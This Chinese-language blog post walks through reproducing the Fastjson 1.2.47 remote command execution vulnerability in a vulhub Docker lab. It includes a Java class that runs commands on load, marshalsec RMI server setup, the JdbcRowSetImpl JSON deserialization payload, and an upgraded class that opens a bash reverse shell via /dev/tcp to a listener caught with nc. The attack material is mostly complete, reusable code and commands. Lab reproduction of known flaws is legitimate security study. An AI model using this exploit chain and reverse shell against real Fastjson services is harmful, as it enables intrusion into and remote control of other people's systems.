rmi远程代码执行漏洞_Fastjson 1.2.47 远程命令执行漏洞

各位大佬,最近好么

由于找工作,以及适应新环境,导致快3个月没有更新文章了,感觉有点对不住大家。

话不多说,今天带大家复现一下Fastjson1.2.47远程命令执行漏洞。

漏洞实现流程

准备环境

本次漏洞复现需要有三台设备(两台也可以)

主机A:模拟Fastjson漏洞环境(centos7)

主机B:模拟攻击机,需要开启web服务(windows10)

主机C:搭设RMI服务(可以同主机B配置在一起,我的环境是在centos7下搭建的)

主机A

启动docker服务

service docker start

进入vulhub目录下fastjson ->fastjson1.2.47

启动靶场环境

docker-compose up -d

,

主机B

将以下代码保存为TouchFile.java (红色处为远程命令执行的代码)

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {"touch", "/tmp/success"};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}}}

使用javac将代码编写为TouchFile.class类文件

并将生成的类文件放在web目录下,启动web服务。

主机C

我们需要借助marshalsec项目,启动一个RMI服务器,监听4444端口,并加载远程类(需要java 8环境)

下载地址:https://github.com/mbechler/marshalsec

安装maven

yum install -y maven

切换到marshalsec目录下使用maven进行打包

mvn clean package -DskipTests

开启RMI服务(IP-1为主机B的地址)

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP-1/#TouchFile" 4444

此处一定要注意格式 类只要写名字即可,不需要加.class,其次类名前要加#

现先,把所需要的环境就准备好了,真心不容易啊,小编看了好多文章,踩了好多雷才搭建好。马上就要到漏洞复现的环节,有没有点小兴奋........嘻嘻

漏洞复现

访问主机A的ip地址加端口号(8090)并使用burp抓包,将请求包发到Repeater模块。

修改请求模式为POST,将content-type修改为application/json,然后在请求体中输入下面的JSON对象。(IP-2为主机C的地址)

{

"a":{

"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://IP-2:4444/Exploit",

"autoCommit":true

} }

构造完的请求包如下图:

验证一下命令是否执行成功:

主机A下执行docker ps 查看容器id

进入容器

docker exec -it 5ca5facc4a25 bash

查看/tmp目录下是否成功生成success文件,有则表示生成成功

复现升级

既然都可以创建目录了,那就用来弹个shell吧修改java代码,并重新编译(IP-3为接受shell的主机,我用的kali,端口设置为kali监听端口)

// javac shell.java

import java.lang.Runtime;

import java.lang.Process;

public class shell {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/IP-3/port 0>&1"};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}}}

重新启动一个RMI服务

kali使用nc进行监听设置的端口,然后抓包改包发送(与之前流程一样,但注意一定要先监听)

发包后就发现kali接收到反弹的shell了。

今天的知识点到这里就结束了,咱们下次见!

Nothing seek, nothing find.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值